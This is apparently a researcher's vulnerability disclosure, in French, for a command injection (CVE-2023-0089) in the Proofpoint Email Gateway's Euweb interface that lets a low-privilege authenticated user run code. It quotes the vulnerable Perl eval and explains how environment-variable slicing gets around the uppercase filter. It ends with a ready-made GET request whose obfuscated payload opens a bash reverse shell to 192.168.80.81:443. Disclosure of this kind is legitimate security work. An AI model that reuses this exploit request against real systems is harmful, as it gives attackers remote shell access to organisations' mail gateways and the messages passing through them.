
Proofpoint Email Gateway : escalade de privilèges d'un utilisateur authentifié de bas niveau vers admin avec exécution de code à distance (RCE)
Chercheur en sécurité : ly1g3, ly1g3[at]tuta.io
Empreinte GPG : https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Vue d'ensemble : Exécution de code à distance (RCE) - Utilisateur authentifié de bas niveau vers admin RCE
CVE : CVE-2023-0089
Chronologie :
Exploits pour Proofpoint Messaging Security Gateway
Un utilisateur authentifié de bas niveau d'Euweb peut obtenir une exécution de code arbitraire avec les privilèges d'administrateur.
La fonction getMsgType dans Euwebutils.pm est vulnérable à l'injection de commandes. La variable $module provient d'un paramètre GET et aucune neutralisation n'est appliquée à cette entrée utilisateur.
sub getMsgType {
...
else {
$msgtype = eval "Proofpoint::Digest::PROOFPOINT_MAIL_REPORT_MSGTYPE_".uc($module);
}
Cette fonction getMsgType est utilisée par de nombreux appels API de l'application Euweb, donc l'exploit peut être déclenché de multiples façons.
Comme tous les caractères doivent être en majuscules, les variables d'environnement peuvent être utilisées pour contourner cette restriction pour les lettres minuscules. Exemple : ${SHELL:1:1} à la place de b
Étant donné que use strict est utilisé, MAIL_GENERAL() peut être ajouté au début de la chaîne pour compléter PROOFPOINT_MAIL_REPORT_MSGTYPE_. Après cela, du code Perl personnalisé peut être ajouté.
Exemple de charge utile non encodée : MAIL_GENERAL();`id`
Shell inversé encodé à l'aide de variables d'environnement pour contourner les restrictions de minuscules. Code exécuté en tant qu'utilisateur pps.
GET /euweb/euweb?cmd=x_releasemsg&id=0&func=ReleaseMsg&entries=23%3A23%3A12&eid=3&module=MAIL_GENERAL()%3b`/\${SHELL%3a1%3a1}\${SHELL%3a2%3a1}\${LANG%3a1%3a1}/\${USER%3a2%3a1}\${SHELL%3a8%3a1}+-\${SHELL%3a2%3a1}+>%26+/\${SSH_TTY%3a1%3a1}\${TERM%3a2%3a1}\${MAIL%3a1%3a1}/\${TERM%3a1%3a1}\${TERM%3a9%3a1}\${USER%3a0%3a1}/192.168.80.81/443+0>%261`